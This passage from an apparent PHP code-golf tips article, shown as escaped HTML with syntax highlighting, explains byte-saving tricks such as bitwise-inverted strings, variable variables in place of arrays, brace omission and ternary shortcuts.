&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;HELLO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This will however not work:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;HELLO&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;WORLD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If you have a string with whitespace or characters that needs to be quoted, you can invert the string.&lt;/p&gt;

&lt;p&gt;This code prints a newline, using 8 bytes:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This does the same thing using 7 bytes:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;
&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And finally this does also the same, but using 6 bytes:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?=&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;õ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Regular expressions are a good example of a kind of strings you can save bytes on using this trick.&lt;/p&gt;

&lt;p&gt;Instead of doing this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;preg_filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'#(.)\1+#i'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'$1'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Aa striing  wiith soomee reeduundaant chaars'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;You could save 2 bytes doing this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;preg_filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Ü&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;×&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;ÑÖ&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;£&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;ÎÔÜ&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;ÛÎ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'Aa striing  wiith soomee reeduundaant chaars'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Make sure to set your text editor to latin1 (ISO-8859-1 or Windows-1252) instead of UTF8 otherwise you will save those inverted bytes as multi-bytes which will do the opposite of what we are trying to do here.&lt;/p&gt;

&lt;p&gt;Sometimes you can also invert the input to shorten your overall code.&lt;/p&gt;

&lt;p&gt;A list of useful inverted characters:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;* Tab (char 9) -&amp;gt; ~ö
* Line-feed (char 10) -&amp;gt; ~õ
* Space (char 32) -&amp;gt; ~ß
* '!' (char 33) -&amp;gt; ~Þ
* '&quot;' (char 34) -&amp;gt; ~Ý
* '#' (char 35) -&amp;gt; ~Ü
* '$' (char 36) -&amp;gt; ~Û
* '%' (char 37) -&amp;gt; ~Ú
* '&amp;amp;' (char 38) -&amp;gt; ~Ù
* ''' (char 39) -&amp;gt; ~Ø
* '(' (char 40) -&amp;gt; ~×
* ')' (char 41) -&amp;gt; ~Ö
* '*' (char 42) -&amp;gt; ~Õ
* '+' (char 43) -&amp;gt; ~Ô
* ',' (char 44) -&amp;gt; ~Ó
* '-' (char 45) -&amp;gt; ~Ò
* '.' (char 46) -&amp;gt; ~Ñ
* '/' (char 47) -&amp;gt; ~Ð
* ':' (char 58) -&amp;gt; ~Å
* ';' (char 59) -&amp;gt; ~Ä
* '&amp;lt;' (char 60) -&amp;gt; ~Ã
* '=' (char 61) -&amp;gt; ~Â
* '&amp;gt;' (char 62) -&amp;gt; ~Á
* '?' (char 63) -&amp;gt; ~À
* '[' (char 91) -&amp;gt; ~¤
* '\' (char 92) -&amp;gt; ~£
* ']' (char 93) -&amp;gt; ~¢
* '^' (char 94) -&amp;gt; ~¡
* '_' (char 95) -&amp;gt; ~  (char 160, the fact you are not able to see whitespace doesn't mean that PHP treat is as whitespace!)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;arrays&quot;&gt;Arrays&lt;/h2&gt;

&lt;p&gt;Unless you’re performing an array manipulation, most references to an array index $a[$i] can be replaced with simply $$i. This is even true if the index is an integer, as integers are valid variable names in PHP (although literals will require brackets, e.g. ${0}).&lt;/p&gt;

&lt;p&gt;Example of populating an “array”:&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$$i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;control-structures&quot;&gt;Control Structures&lt;/h2&gt;

&lt;h3 id=&quot;braces&quot;&gt;Braces&lt;/h3&gt;
&lt;p&gt;Know where you need brackets and where you don’t. If a statement is only one line, you don’t need brackets. Compare these two examples that print chars below 1000 that have a “9” in it.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;){&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;is_int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'9'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))){&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;is_int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'9'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;multiple-statements&quot;&gt;Multiple statements&lt;/h3&gt;

&lt;p&gt;Often it happens that you have multiple statements inside an if statement:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$q&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;You can rewrite this as:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$q&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Or even better:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$q&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Or as optimal as we know it:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$q&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This works because print always returns 1.&lt;/p&gt;

&lt;h3 id=&quot;loops&quot;&gt;Loops&lt;/h3&gt;
&lt;p&gt;Never use while loops. For loops are always at least as short as a while loop, and most of the time shorter. The following code is a not very optimized version of rot13.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;input&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]){&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;109&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;input&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;109&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Try to use as few control structures as possible. Multiple loops can often be folded into a single loop.&lt;/p&gt;

&lt;h3 id=&quot;ifs&quot;&gt;Ifs&lt;/h3&gt;
&lt;p&gt;Try to avoid the use of the traditional if-structure. Most times the same action can be done by using the ternary operator. The next three code-snippets are exactly the same:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Saves one byte.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$j&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Saves another two bytes, available since PHP 5.3&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The following code prints the values of pow(3,n), n&amp;lt;10, starting with n=0:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&amp;lt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If you do have only an if (and no else), try to negate the condition. Since the middle part of the of ternary operator might be left out.&lt;/p&gt;

&lt;p&gt;So:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;doSomething&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Equals (Since PHP 5.3&amp;gt;):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?:&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;doSomething&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Even equals:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;doSomething&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Since the associativity of this operator is left, nested ternary-operators should be preferable done in the true-action, since you otherwise have to use parentheses.&lt;/p&gt;

